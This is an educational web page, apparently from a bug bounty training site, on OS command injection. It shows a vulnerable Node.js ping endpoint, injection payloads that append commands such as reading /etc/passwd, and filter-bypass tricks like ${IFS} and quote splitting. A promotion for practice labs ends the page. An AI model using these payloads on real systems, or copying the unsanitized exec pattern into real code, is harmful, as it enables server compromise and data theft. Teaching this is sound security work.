Command Injection

Critical

OS Command Injection

Definition

Command Injection is a vulnerability that lets an attacker run operating-system commands on the server through a vulnerable application. It happens when the application passes user input directly to system command-execution functions (exec, system, popen, etc.).

Impact

Execution of arbitrary commands on the operating systemReading, modifying and deleting server filesEstablishing reverse shells for persistent accessFull server compromiseLateral movement and pivoting to other internal systems

Examples

Command Injection in a ping feature

The application concatenates user input with a system command without sanitization. Using shell operators such as ;, |, && or command substitution $(), the attacker can run any command.

# Vulnerable code (Node.js)
const { exec } = require('child_process');
exec('ping -c 4 ' + req.body.host);

# Legitimate request
POST /api/network/ping
{"host": "8.8.8.8"}

# Injection payloads
{"host": "8.8.8.8; cat /etc/passwd"}
{"host": "8.8.8.8 | id"}
{"host": "8.8.8.8 && whoami"}
{"host": "$(cat /etc/passwd)"}

Command Injection filter bypasses

When the application implements basic filters (such as blocking spaces or keywords), there are multiple bypass techniques using environment variables, quotes, wildcards or Base64 encoding.

# If spaces are filtered:
{cat,/etc/passwd}
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd

# If keywords are filtered:
c'a't /etc/passwd
c\at /etc/passwd
/bin/c?t /etc/passwd

# If special characters are filtered:
echo${IFS}dGVzdA==|base64${IFS}-d

Practice Command Injection with real labs

Apply what you've learned in safe environments based on real bug bounty reports.

See practice labs
hunters training
712

hunters training

labs from real reports
55

labs from real reports

completions
1,206

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy
BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime